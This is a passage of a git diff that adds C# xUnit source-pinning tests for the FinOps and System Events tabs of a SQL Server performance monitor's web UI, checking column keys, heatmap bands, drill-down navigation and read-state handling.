+        Assert.Contains("let text = n === 1 ? \"1 index\" : n + \" indexes\";", tab);
+        Assert.Contains("text += s.truncated ? \"; the first \" + n + \" of \" + (s.index_count ?? \"more\") + \".\" : \".\";", tab);
+        // The indexes level's one snapshot stamp rides the notice line, worded by the shared helpers; the browser computes nothing.
+        Assert.Contains("if (typeof s.captured_at === \"string\" && s.captured_at) text += \" Collected \" + relTime(s.captured_at) + \" (\" + localTime(s.captured_at) + \").\";", tab);
+        Assert.Contains("Shade: the service's size band for each cell (log scale over this table); blank means no sample or zero.", tab);
+    }
+
+    [Fact]
+    public void TheHeatmapClassComesOnlyFromTheServiceBandAndTheBrowserComputesNothing()
+    {
+        var tab = Tab();
+        // The class is built from the band alone; nothing else in the tab mentions the class family.
+        Assert.Contains("const known = Number.isInteger(shade) && shade >= 0 && shade <= 7;", tab);
+        Assert.Contains("class: known ? \"num heat-band-\" + shade : \"num\",", tab);
+        Assert.Single(Regex.Matches(tab, "heat-band"));
+        Assert.DoesNotContain("Math.", tab);
+        Assert.Contains("title: r.schema_name + \".\" + r.table_name + \" | \" + String(d).slice(0, 10) + \" | \" + applyFormat(\"num1\", mb) + \" MB reserved\",", tab);
+    }
+
+    [Fact]
+    public void TheCssHasExactlyEightBandRulesZeroThroughSeven()
+    {
+        var found = Regex.Matches(Css(), "(?m)^\\.heat-band-([0-9]+) \\{").Select(m => m.Groups[1].Value).ToList();
+        Assert.Equal("0,1,2,3,4,5,6,7", string.Join(",", found));
+        Assert.Equal(8, Regex.Matches(Css(), "heat-band-").Count);
+    }
+
+    [Fact]
+    public void TheDrillBackAndBreadcrumbArePresent()
+    {
+        var tab = Tab();
+        Assert.Contains("const state = drillFor(server);", tab);
+        Assert.Contains("drillColumn(\"Show objects\", openObjects)", tab);
+        Assert.Contains("drillColumn(\"Show indexes\", openIndexes)", tab);
+        Assert.Contains("el(\"button\", { type: \"button\", class: \"btn\", text: \"Back\", onClick: back })", tab);
+        Assert.Contains("parts.join(\" › \")", tab);
+        Assert.Contains("const parts = [\"Storage Growth\"];", tab);
+        // A refusal or error on a drill keeps Back: the error strip goes through the same chrome.
+        Assert.Matches("(?m)^\\s+if \\(res\\.kind === \"error\"\\) return chrome\\(\\[readErrorStrip\\(res\\.message\\)\\]\\);$", tab);
+    }
+
+    [Fact]
+    public void TheDrillLivesAtModuleScopeSoTheRepaintKeepsIt()
+    {
+        var tab = Tab();
+        Assert.Matches("(?m)^const drills = new Map\\(\\);$", tab);
+        Assert.Contains("drills.get(server)", tab);
+        var build = tab.Substring(tab.IndexOf("build(server, ctx)", System.StringComparison.Ordinal));
+        Assert.DoesNotContain("level: \"databases\"", build);
+        Assert.DoesNotContain("new Map(", build);
+    }
+
+    [Fact]
+    public void ARestoredIndexesReadForAGoneObjectDropsBackToObjects()
+    {
+        var tab = Tab();
+        Assert.Contains("const OBJECT_GONE = \"is not among the\";", tab);
+        // The tab's drop-back depends on this refusal wording in the C# message.
+        Assert.Contains("is not among the", ToolSource());
+        Assert.Contains("if (res.kind === \"error\" && state.level === \"indexes\" && String(res.message).includes(OBJECT_GONE)) {\n          state.level = \"objects\";", tab.Replace("\r\n", "\n"));
+    }
+
+    [Fact]
+    public void LastAccessShowsMinutesAndTheDarkTextSitsOnTheStrongBands()
+    {
+        Assert.Contains("String(v).slice(0, 16).replace(\"T\", \" \")", Tab());
+        var css = Css();
+        foreach (var b in new[] { 5, 6, 7 }) Assert.Matches("(?m)^\\.heat-band-" + b + " \\{ color: var\\(--bg\\);", css);
+        foreach (var b in new[] { 0, 1, 2, 3, 4 }) Assert.DoesNotMatch("(?m)^\\.heat-band-" + b + " \\{ color:", css);
+    }
+
+    [Fact]
+    public void EachSectionReadsItsOwnStatusAndMapsTheThreeStates()
+    {
+        var tab = Tab();
+        Assert.Contains("if (s.status === \"ok\") return [noticeStrip(notice(s)), VIZ.table(", tab);
+        Assert.Contains("if (s.status === \"empty\") return [emptyStrip(emptyText)];", tab);
+        Assert.Contains("return [noticeStrip(s.message ?? \"This section was not collected.\")];", tab);
+    }
+
+    [Fact]
+    public void TheReadStatesAreHandled()
+    {
+        var tab = Tab();
+        Assert.Matches("(?m)^\\s+if \\(res\\.kind === \"aborted\" \\|\\| res\\.kind === \"auth\"\\) return;$", tab);
+        Assert.Matches("(?m)^\\s+if \\(res\\.kind === \"empty\"\\) return chrome\\(\\[gatedEmptyStrip\\(res, ctx\\)\\]\\);$", tab);
+        Assert.Contains("Could not render this tab: ", tab);
+    }
+
+    [Fact]
+    public void TheTabImportsOnlyWhatItUses()
+    {
+        var tab = Tab();
+        var imports = Regex.Matches(tab, "from \"([^\"]+)\";").Select(m => m.Groups[1].Value).ToList();
+        Assert.All(imports, i => Assert.Contains(i, new[] { "../../panels.js", "../../util.js", "./gate.js", "./window.js" }));
+        Assert.Contains("./gate.js", imports);
+        var names = Regex.Match(tab, "import \\{([^}]*)\\} from \"../../util.js\"").Groups[1].Value.Split(',').Select(n => n.Trim());
+        var body = tab.Substring(tab.IndexOf("const HOURS", System.StringComparison.Ordinal));
+        Assert.All(names, n => Assert.Contains(n + "(", body));
+    }
+
+    [Fact]
+    public void TheStubTextIsGone()
+    {
+        Assert.DoesNotContain("Not on the web yet", Tab());
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsTabSystemEventsColumnsPageTests.cs b/Darling/Darling.Tests/FinOpsTabSystemEventsColumnsPageTests.cs
new file mode 100644
index 0000000000..8fa7ab2c5c
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsTabSystemEventsColumnsPageTests.cs
@@ -0,0 +1,130 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.RegularExpressions;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Source pins for the System Events tab's parsed-row grids: each grid's column keys are fields its read
+/// returns, and the wide grids show every field the read returns, in the desktop grid's order.
+/// </summary>
+public sealed class FinOpsTabSystemEventsColumnsPageTests
+{
+    private static string Tab() =>
+        ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tabs.js")
+            .ReplaceLineEndings("\n");
+
+    private static string Source(string file) =>
+        ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", file).ReplaceLineEndings("\n");
+
+    /// <summary>The keys of a top-level column constant, in order.</summary>
+    private static List<string> Keys(string constName)
+    {
+        var tab = Tab();
+        var start = tab.IndexOf("const " + constName + " = [", StringComparison.Ordinal);
+        Assert.True(start >= 0, constName + " not found");
+        var end = tab.IndexOf("\n];", start, StringComparison.Ordinal);
+        return Regex.Matches(tab[start..end], "\\bkey: \"([a-z_]+)\"").Select(m => m.Groups[1].Value).ToList();
+    }
+
+    /// <summary>The field names of the anonymous object a read projects with <c>.Select(r =&gt; new</c>.</summary>
+    private static List<string> Projection(string file, string tool)
+    {
+        var src = Source(file);
+        var start = src.IndexOf("Name = \"" + tool + "\"", StringComparison.Ordinal);
+        Assert.True(start >= 0, tool + " not found");
+        var next = src.IndexOf("McpServerTool(Name", start + 10, StringComparison.Ordinal);
+        var seg = next > 0 ? src[start..next] : src[start..];
+        var sel = seg.IndexOf("Select(r =>", StringComparison.Ordinal);
+        Assert.True(sel >= 0, tool + " has no row projection");
+        var close = seg.IndexOf("\n                })", sel, StringComparison.Ordinal);
+        if (close < 0) close = seg.IndexOf("\n                }", sel, StringComparison.Ordinal);
+        return Regex.Matches(seg[sel..close], "^\\s+([a-z_]+) = ", RegexOptions.Multiline).Select(m => m.Groups[1].Value).ToList();
+    }
+
+    public static IEnumerable<object[]> Grids() => new[]
+    {
+        new object[] { "SEVERE_ERROR_COLUMNS", "DarlingMcpHealthParserTools.cs", "get_health_parser_severe_errors" },
+        new object[] { "SCHEDULER_ISSUE_COLUMNS", "DarlingMcpHealthParserTools.cs", "get_health_parser_scheduler_issues" },
+        new object[] { "IO_ISSUE_COLUMNS", "DarlingMcpHealthParserTools.cs", "get_health_parser_io_issues" },
+        new object[] { "CPU_TASK_COLUMNS", "DarlingMcpHealthParserTools.cs", "get_health_parser_cpu_tasks" },
+        new object[] { "MEMORY_CONDITION_COLUMNS", "DarlingMcpHealthParserTools.cs", "get_health_parser_memory_conditions" },
+        new object[] { "MEMORY_BROKER_COLUMNS", "DarlingMcpHealthParserTools.cs", "get_health_parser_memory_broker" },
+        new object[] { "MEMORY_OOM_COLUMNS", "DarlingMcpHealthParserTools.cs", "get_health_parser_memory_node_oom" },
+        new object[] { "SIGNIFICANT_WAIT_COLUMNS", "DarlingMcpHealthParserTools.cs", "get_health_parser_significant_waits" },
+        new object[] { "DEFAULT_TRACE_COLUMNS", "DarlingMcpDefaultTraceTools.cs", "get_default_trace_events" },
+    };
+
+    [Theory]
+    [MemberData(nameof(Grids))]
+    public void EveryColumnKeyIsAFieldTheReadReturns(string constName, string file, string tool)
+    {
+        var keys = Keys(constName);
+        var fields = Projection(file, tool);
+        Assert.NotEmpty(keys);
+        Assert.NotEmpty(fields);
+        Assert.Empty(keys.Except(fields));
+        Assert.Equal(keys.Count, keys.Distinct().Count());
+    }
+
+    [Fact]
+    public void TheMemoryConditionGridShowsAllThirtyTwoFieldsInTheDesktopOrder()
+    {
+        Assert.Equal(new[]
+        {
+            "event_time", "last_notification", "name", "out_of_memory_exceptions", "is_any_pool_out_of_memory",
+            "process_out_of_memory_period", "available_physical_memory_gb", "available_virtual_memory_gb",
+            "available_paging_file_gb", "working_set_gb", "percent_of_committed_memory_in_ws", "page_faults",
+            "system_physical_memory_high", "system_physical_memory_low", "process_physical_memory_low",
+            "process_virtual_memory_low", "vm_reserved_gb", "vm_committed_gb", "locked_pages_allocated",
+            "large_pages_allocated", "emergency_memory_gb", "emergency_memory_in_use_gb", "target_committed_gb",
+            "current_committed_gb", "pages_allocated", "pages_reserved", "pages_free", "pages_in_use",
+            "page_alloc_potential", "numa_growth_phase", "last_oom_factor", "last_os_error",
+        }, Keys("MEMORY_CONDITION_COLUMNS"));
+    }
+
+    [Fact]
+    public void TheNodeOomGridShowsAllTwentyEightFieldsInTheDesktopOrder()
+    {
+        Assert.Equal(new[]
+        {
+            "event_time", "node_id", "memory_node_id", "memory_utilization_pct", "total_physical_memory_kb",
+            "available_physical_memory_kb", "total_page_file_kb", "available_page_file_kb",
+            "total_virtual_address_space_kb", "available_virtual_address_space_kb", "target_kb", "reserved_kb",
+            "committed_kb", "shared_committed_kb", "awe_kb", "pages_kb", "failure_type", "failure_value",
+            "resources", "factor_text", "factor_value", "last_error", "pool_metadata_id", "is_process_in_job",
+            "is_system_physical_memory_high", "is_system_physical_memory_low", "is_process_physical_memory_low",
+            "is_process_virtual_memory_low",
+        }, Keys("MEMORY_OOM_COLUMNS"));
+    }
+
+    [Fact]
+    public void TheDefaultTraceGridShowsTheDesktopFourteenColumns()
+    {
+        Assert.Equal(new[]
+        {
+            "event_time", "category", "event_name", "database_name", "object_name", "login_name", "host_name",
+            "application_name", "spid", "duration_ms", "growth_mb", "severity", "error_number", "text_data",
+        }, Keys("DEFAULT_TRACE_COLUMNS"));
+    }
+
+    [Fact]
+    public void TheOtherParsedGridsShowTheDesktopColumns()
+    {
+        Assert.Equal(new[] { "event_time", "error_number", "severity", "state", "database_name", "database_id", "message" }, Keys("SEVERE_ERROR_COLUMNS"));
+        Assert.Equal(new[] { "event_time", "sql_cpu_utilization", "other_process_cpu", "system_idle", "memory_utilization", "page_faults", "working_set_delta_mb" }, Keys("SCHEDULER_ISSUE_COLUMNS"));
+        Assert.Equal(new[] { "event_time", "broker_id", "broker", "notification", "pool_metadata_id", "delta_time", "memory_ratio", "new_target", "overall", "rate", "currently_predicated", "currently_allocated", "previously_allocated" }, Keys("MEMORY_BROKER_COLUMNS"));
+        Assert.Equal(new[] { "event_time", "state", "max_workers", "workers_created", "workers_idle", "tasks_completed_within_interval", "pending_tasks", "oldest_pending_task_waiting_time", "has_unresolvable_deadlock_occurred", "has_deadlocked_schedulers_occurred", "did_blocking_occur" }, Keys("CPU_TASK_COLUMNS"));
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsTabUtilizationPageTests.cs b/Darling/Darling.Tests/FinOpsTabUtilizationPageTests.cs
new file mode 100644
index 0000000000..48e1f0e9f1
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsTabUtilizationPageTests.cs
@@ -0,0 +1,188 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.Linq;
+using System.Text.RegularExpressions;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>Source pins for the FinOps Utilization tab's verdict, summary, trend and top-database grids: the reads it makes and the keys it shows.</summary>
+public sealed class FinOpsTabUtilizationPageTests
+{
+    private static string Tab() =>
+        ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "finops", "utilization.js")
+            .ReplaceLineEndings("\n");
+
+    private static string Mcp(string name) =>
+        ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", name).ReplaceLineEndings("\n");
+
+    private static string UtilizationSource() => Mcp("DarlingMcpFinOpsTools.Utilization.cs");
+
+    private static string DatabaseResourcesSource() => Mcp("DarlingMcpFinOpsTools.DatabaseResources.cs");
+
+    private static string Between(string s, string from, string? to)
+    {
+        var a = s.IndexOf(from, System.StringComparison.Ordinal);
+        Assert.True(a >= 0, from);
+        var b = to is null ? s.Length : s.IndexOf(to, a, System.StringComparison.Ordinal);
+        Assert.True(b > a, to);
+        return s.Substring(a, b - a);
+    }
+
+    private static System.Collections.Generic.List<string> KeysIn(string block) =>
+        Regex.Matches(block, "\\b(?:key|nullKey|sevKey): \"([a-z_.0-9]+)\"").Select(m => m.Groups[1].Value).ToList();
+
+    [Fact]
+    public void TheTabReadsTheUtilizationViewWithNoWindowOrLimit()
+    {
+        Assert.Contains("readTool(\"get_finops\", { server, view: \"utilization\" }, ctx && ctx.signal)", Tab());
+    }
+
+    [Fact]
+    public void TheTabReadsDatabaseResourcesForTheDesktopsFixed24HoursAndTop5()
+    {
+        var tab = Tab();
+        Assert.Contains("const TOP_HOURS = 24;", tab);
+        Assert.Contains("const TOP_LIMIT = 5;", tab);
+        Assert.Contains("view: \"database_resources\", hours: TOP_HOURS, limit: TOP_LIMIT", tab);
+        Assert.DoesNotContain("hours_back", tab);
+    }
+
+    [Fact]
+    public void EveryUtilizationKeyShownIsEmittedByTheUtilizationView()
+    {
+        var tab = Tab();
+        Assert.Contains("const DERIVED_KEYS = [\"verdict_label\", \"verdict_sev\", \"day_label\", \"monthly_cost_text\", \"annual_cost_text\", \"workers_in_use\"];", tab);
+        var derived = new[] { "verdict_label", "verdict_sev", "day_label", "monthly_cost_text", "annual_cost_text", "workers_in_use" };
+        var block = Between(tab, "/* utilization-keys:begin */", "/* utilization-keys:end */");
+        var summary = Between(block, "const SUMMARY_STATS", "const TREND_COLUMNS");
+        var trendCols = Between(block, "const TREND_COLUMNS", null);
+        var source = UtilizationSource();
+        // Each key is checked inside the object that emits it, so a leaf name that two objects share (avg_cpu_pct in
+        // cpu and in the trend, memory_ratio in memory and in the trend) cannot be satisfied by the wrong one.
+        var cpu = Between(source, "cpu = new", "memory = new");
+        var memory = Between(source, "memory = new", "monthly_cost_usd = ");
+        var trend = source.Substring(source.IndexOf("provisioning_trend = ", System.StringComparison.Ordinal));
+        var topLevel = string.Join("\n", source.Split('\n').Where(l => Regex.IsMatch(l, "^ {12}[a-z_0-9]+ = ")));
+        var checkedCount = 0;
+        void Emitted(string key, string slice)
+        {
+            Assert.Matches("(?m)^\\s+" + Regex.Escape(key) + " = ", slice);
+            checkedCount++;
+        }
+        var summaryKeys = KeysIn(summary).Concat(
+            Regex.Matches(summary, "(?:showWhen|hideWhen): \\{ key: \"([a-z_.]+)\"").Select(m => m.Groups[1].Value))
+            .Where(k => !derived.Contains(k)).Distinct().ToList();
+        Assert.NotEmpty(summaryKeys);
+        foreach (var key in summaryKeys)
+        {
+            var parts = key.Split('.');
+            if (parts.Length == 1) Emitted(key, topLevel);
+            else if (parts[0] == "cpu") Emitted(parts[1], cpu);
+            else if (parts[0] == "memory") Emitted(parts[1], memory);
+            else Assert.Fail("unmapped summary key " + key);
+        }
+        var trendKeys = KeysIn(trendCols).Where(k => !derived.Contains(k)).Distinct().ToList();
+        Assert.Equal(new[] { "avg_cpu_pct", "max_cpu_pct", "memory_ratio", "p95_cpu_pct" }, trendKeys.OrderBy(k => k, System.StringComparer.Ordinal));
+        foreach (var key in trendKeys) Emitted(key, trend);
+        Assert.True(checkedCount > 10);
+        foreach (var key in new[] { "provisioning_trend", "verdict_reason", "health_score_note", "monthly_cost_usd", "annual_cost_usd", "current_workers", "health_band" })
+        {
+            Assert.Contains(key, tab);
+            Assert.Matches("(?m)^\\s+" + key + " = ", source);
+        }
+    }
+
+    [Fact]
+    public void TheSummaryNamesItsWindowAndFormatsMaxCpuAsAnInteger()
+    {
+        var tab = Tab();
+        Assert.Contains("const SUMMARY_SUBTITLE = \"Last 24 hours\";", tab);
+        Assert.Contains("el(\"span\", { class: \"panel-sub\", text: \" \" + SUMMARY_SUBTITLE })", tab);
+        Assert.Contains("{ key: \"cpu.max_cpu_pct\", label: \"Max CPU %\", format: \"int\" }", tab);
+        Assert.True(tab.IndexOf("SUMMARY_SUBTITLE })", System.StringComparison.Ordinal) < tab.IndexOf("VIZ.stat(view", System.StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public void EveryTopDatabaseColumnIsEmittedByItsRowShape()
+    {
+        var tab = Tab();
+        var block = Between(tab, "/* top-keys:begin */", "/* top-keys:end */");
+        var total = KeysIn(Between(block, "const TOP_TOTAL_COLUMNS", "const TOP_AVG_COLUMNS"));
+        var avg = KeysIn(Between(block, "const TOP_AVG_COLUMNS", null));
+        Assert.NotEmpty(total);
+        Assert.NotEmpty(avg);
+        var src = DatabaseResourcesSource();
+        var totalSlice = Between(src, "TopByTotalRow(", "TopByAvgRow(");
+        var avgSlice = src.Substring(src.IndexOf("TopByAvgRow(", System.StringComparison.Ordinal));
+        foreach (var k in total) Assert.Matches("(?m)^\\s+" + k + " = ", totalSlice);
+        foreach (var k in avg) Assert.Matches("(?m)^\\s+" + k + " = ", avgSlice);
+        Assert.Matches("(?m)^\\s+top_by_total = ", src);
+        Assert.Matches("(?m)^\\s+top_by_avg = ", src);
+        Assert.Contains("rowsKey: \"top_by_total\"", tab);
+        Assert.Contains("rowsKey: \"top_by_avg\"", tab);
+    }
+
+    [Fact]
+    public void BothReadsHandleAbortAuthErrorAndEmptyOnTheirOwnContainer()
+    {
+        var tab = Tab();
+        Assert.Equal(2, Regex.Matches(tab, "(?m)^\\s+if \\(res\\.kind === \"aborted\" \\|\\| res\\.kind === \"auth\"\\) return;$").Count);
+        Assert.Equal(2, Regex.Matches(tab, Regex.Escape("gatedEmptyStrip(res, ctx)")).Count);
+        Assert.Equal(2, Regex.Matches(tab, Regex.Escape("readErrorStrip(res.message)")).Count);
+        Assert.Equal(2, Regex.Matches(tab, Regex.Escape("\"Could not render this tab: \"")).Count);
+        Assert.DoesNotContain("Promise.all", tab);
+    }
+
+    [Fact]
+    public void TheVerdictAndBandAreColouredFromServiceLabels()
+    {
+        var tab = Tab();
+        Assert.Contains("const VERDICT_SEV = { RIGHT_SIZED: \"Healthy\", OVER_PROVISIONED: \"Warning\", UNDER_PROVISIONED: \"Critical\" };", tab);
+        Assert.Contains("const BAND_SEV = { good: \"Healthy\", fair: \"Warning\", poor: \"Critical\" };", tab);
+        Assert.Contains("sev: BAND_SEV[data.health_band]", tab);
+        Assert.Contains("\"N/A\"", tab);
+        Assert.Contains("health_band = score is int scoreValue ? FinOpsUtilizationFigures.HealthBand(scoreValue) : null", UtilizationSource());
+        var figures = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Storage", "FinOps", "FinOpsUtilizationFigures.cs");
+        Assert.Contains("BandGood = \"good\"", figures);
+        Assert.Contains("BandFair = \"fair\"", figures);
+        Assert.Contains("BandPoor = \"poor\"", figures);
+    }
+
+    [Fact]
+    public void CostTilesShowOnlyWhenTheServiceSetsACost()
+    {
+        var tab = Tab();
+        Assert.Contains("data.monthly_cost_usd != null", tab);
+        Assert.Contains("\"/mo\"", tab);
+        Assert.Contains("\"/yr\"", tab);
+        Assert.Contains("hasCost || (s.key !== \"monthly_cost_text\"", tab);
+    }
+
+    [Fact]
+    public void TheTrendIsCollapsedAndHasTheDesktopColumns()
+    {
+        var tab = Tab();
+        Assert.Contains("el(\"details\"", tab);
+        Assert.DoesNotContain("el(\"details\", { open", tab);
+        Assert.Contains("\"7-Day Provisioning Trend\"", tab);
+        Assert.Contains("timeZone: \"UTC\"", tab);
+        var cols = KeysIn(Between(tab, "const TREND_COLUMNS", "/* utilization-keys:end */")).Where(k => k != "verdict_sev").ToList();
+        Assert.Equal(new[] { "day_label", "verdict_label", "avg_cpu_pct", "p95_cpu_pct", "max_cpu_pct", "memory_ratio" }, cols);
+    }
+
+    [Fact]
+    public void TheTabNeverWritesMarkup()
+    {
+        var tab = Tab();
+        foreach (var bad in new[] { "innerHTML", "insertAdjacentHTML", "html:", "outerHTML" })
+            Assert.DoesNotContain(bad, tab);
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsTabUtilizationRawPageTests.cs b/Darling/Darling.Tests/FinOpsTabUtilizationRawPageTests.cs
new file mode 100644
index 0000000000..83c15dd8eb
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsTabUtilizationRawPageTests.cs
@@ -0,0 +1,142 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Text.RegularExpressions;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Source pins for the FinOps Utilization tab's raw panels (#4843): the CPU chart, memory tiles and database
+/// size table, each over a read that already exists. Text scans, like <see cref="FinOpsPageShellTests"/>.
+/// </summary>
+public sealed class FinOpsTabUtilizationRawPageTests
+{
+    private static readonly string[] Svc = ["Darling", "PerformanceMonitor.Darling.Service"];
+
+    private static string Tab() =>
+        ReadRepoFileLf(Svc.Concat(["wwwroot", "js", "pages", "finops", "utilization.js"]).ToArray()).ReplaceLineEndings("\n");
+
+    private static string Cs(params string[] rel) =>
+        ReadRepoFileLf(rel).ReplaceLineEndings("\n");
+
+    [Fact]
+    public void TheTab_CallsTheThreeExistingReadsWithItsParams()
+    {
+        var src = Tab();
+        Assert.Contains("read: \"get_cpu_utilization\"", src);
+        Assert.Contains("params: { server, hours: CPU_HOURS }", src);
+        Assert.Contains("const CPU_HOURS = 24;", src);
+        Assert.Contains("read: \"get_memory_stats\"", src);
+        Assert.Contains("read: \"get_database_sizes\"", src);
+        Assert.Contains("viz: \"line\"", src);
+        Assert.Contains("viz: \"stat\"", src);
+        Assert.Contains("viz: \"table\"", src);
+    }
+
+    /// <summary>The text from <paramref name="start"/> up to the next occurrence of <paramref name="end"/>, so a key is
+    /// matched inside the one method that emits it and not anywhere in a large file.</summary>
+    private static string Slice(string src, string start, string end)
+    {
+        var i = src.IndexOf(start, StringComparison.Ordinal);
+        Assert.True(i >= 0, "missing: " + start);
+        var j = src.IndexOf(end, i + start.Length, StringComparison.Ordinal);
+        Assert.True(j > i, "missing end: " + end);
+        return src.Substring(i, j - i);
+    }
+
+    [Fact]
+    public void EveryColumnKeyShown_IsEmittedByItsReadsSource()
+    {
+        var src = Tab();
+        var trend = Cs("PerformanceMonitor.Common", "Mcp", "TrendPayloads.cs");
+        var data = Cs(Svc.Concat(["Mcp", "DarlingMcpDataTools.cs"]).ToArray());
+        var sizes = Cs(Svc.Concat(["Mcp", "DarlingMcpObjectStatsTools.cs"]).ToArray());
+        var sibling = Cs("PerformanceMonitor.Common", "AzureSiblingDatabaseSize.cs");
+
+        // The CPU series come from the shared catalog; pin that, then that the read emits every key the catalog names.
+        Assert.Contains("READ_FIELDS.get_cpu_utilization.line.series", src);
+        var cpu = Slice(trend, "public static string CpuUtilization(", "TempDbFiguresNote");
+        foreach (var k in new[] { "sample_time", "sql_server_cpu", "other_process_cpu", "total_cpu" })
+            Assert.Contains(k + " = ", cpu);
+
+        var memory = Slice(data, "internal static string MemoryStatsPayload(", "[McpServerTool(Name = \"get_memory_clerks\")");
+        foreach (var k in new[]
+        {
+            "captured_at", "total_physical_memory_mb", "available_physical_memory_mb", "memory_utilization_pct", "total_server_memory_mb",
+            "target_server_memory_mb", "buffer_pool_mb", "plan_cache_mb", "system_memory_state", "system_memory_state_note",
+            "sql_memory_model", "engine_edition",
+        })
+        {
+            Assert.Contains("\"" + k + "\"", src);
+            Assert.Contains(k + " = ", memory);
+        }
+
+        Assert.Contains("ServerHardwareScope.WithMemoryNote(", memory);
+        Assert.Contains("\"memory_note\"", src);
+
+        // The per-database payload only: FilePayload's per-file keys must not satisfy these.
+        Assert.Contains("READ_FIELDS.get_database_sizes.table.columns", src);
+        var perDatabase = Slice(sizes, "internal static string DatabaseSizesPayload(", "private static Dictionary<string, object?> FilePayload(");
+        foreach (var k in new[] { "database_name", "total_size_mb", "used_size_mb" })
+            Assert.Contains("[\"" + k + "\"] =", perDatabase);
+        Assert.Matches(new Regex("\\n\\s+databases\\n"), perDatabase);
+        Assert.Contains("captured_at = ", perDatabase);
+        Assert.Contains("AzureSiblingDatabaseSize.RowNoteKey", perDatabase);
+        Assert.Contains("RowNoteKey = \"size_note\"", sibling);
+        Assert.Contains("\"captured_at\"", src);
+    }
+
+    [Fact]
+    public void TheMemoryTiles_NameTheLimitOnAnAzureSqlDatabase_AndShowTheMemoryNote()
+    {
+        var src = Tab().ReplaceLineEndings("\n");
+        Assert.Contains("const AZURE_SQL_DATABASE = { key: \"engine_edition\", equals: 5 };", src);
+        Assert.Contains("{ key: \"total_physical_memory_mb\", label: \"Physical\", format: \"mb\", hideWhen: AZURE_SQL_DATABASE }", src);
+        Assert.Contains("{ key: \"total_physical_memory_mb\", label: \"Memory limit\", format: \"mb\", showWhen: AZURE_SQL_DATABASE }", src);
+        Assert.Contains("{ key: \"available_physical_memory_mb\", label: \"Available\", format: \"mb\", hideWhen: AZURE_SQL_DATABASE }", src);
+        Assert.Contains("{ key: \"available_physical_memory_mb\", label: \"Available under limit\", format: \"mb\", showWhen: AZURE_SQL_DATABASE }", src);
+        Assert.Contains("noteKey: \"memory_note\"", src);
+
+        // Same predicate as the Server page, so the two cannot drift.
+        var server = Cs(Svc.Concat(["wwwroot", "js", "pages", "server-tabs.js"]).ToArray());
+        Assert.Contains("const AZURE_SQL_DATABASE = { key: \"engine_edition\", equals: 5 };", server);
+    }
+
+    [Fact]
+    public void TheMemoryPanel_ShowsWhenItWasCollected_AndTheSizesAreReadOnce()
+    {
+        var src = Tab();
+        var tile = "{ key: \"captured_at\", label: \"Collected\", format: \"reltime\", small: true }";
+        Assert.Single(Regex.Matches(src, Regex.Escape(tile)));
+        Assert.Single(Regex.Matches(src, "read: \"get_database_sizes\""));
+        Assert.Contains("reltime: relTime,", ReadRepoFileLf(Svc.Concat(["wwwroot", "js", "util.js"]).ToArray()).ReplaceLineEndings("\n"));
+    }
+
+    [Fact]
+    public void TheTab_ImportsOnlyFromTheSharedModules()
+    {
+        var imports = Regex.Matches(Tab(), "from \"([^\"]+)\"").Select(m => m.Groups[1].Value).ToList();
+        Assert.NotEmpty(imports);
+        Assert.All(imports, i => Assert.Contains(i, new[] { "../../panels.js", "../../charts.js", "../../util.js", "../../read-fields.js", "./gate.js" }));
+        Assert.Contains("./gate.js", imports);
+    }
+
+    [Fact]
+    public void TheTab_IsNoLongerTheShellStub_AndHasOneContainerPerSection()
+    {
+        var src = Tab();
+        foreach (var id in new[] { "verdict", "top", "cpu", "memory", "sizes" })
+            Assert.Contains("section(\"" + id + "\"", src);
+        Assert.DoesNotContain("Coming:", src);
+        Assert.DoesNotContain("Not on the web yet", src);
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsUtilizationFiguresLiveTests.cs b/Darling/Darling.Tests/FinOpsUtilizationFiguresLiveTests.cs
new file mode 100644
index 0000000000..d5026b329d
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsUtilizationFiguresLiveTests.cs
@@ -0,0 +1,127 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Storage.FinOps;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: this fact mints its own scratch database through ScratchPostgres and never touches another
+   test's rows, so it is deliberately NOT [Collection("live-postgres")]. */
+
+/// <summary>
+/// The Storage cost and storage-total reads equal what the viewer shows: <c>DarlingServer.MonthlyCostUsd</c> from the
+/// server list, and the allocated and free totals over the latest database-size read.
+/// </summary>
+public sealed class FinOpsUtilizationFiguresLiveTests
+{
+    private const string ServerNameA = "darling-util-figures-a";
+    private const string ServerNameB = "darling-util-figures-b";
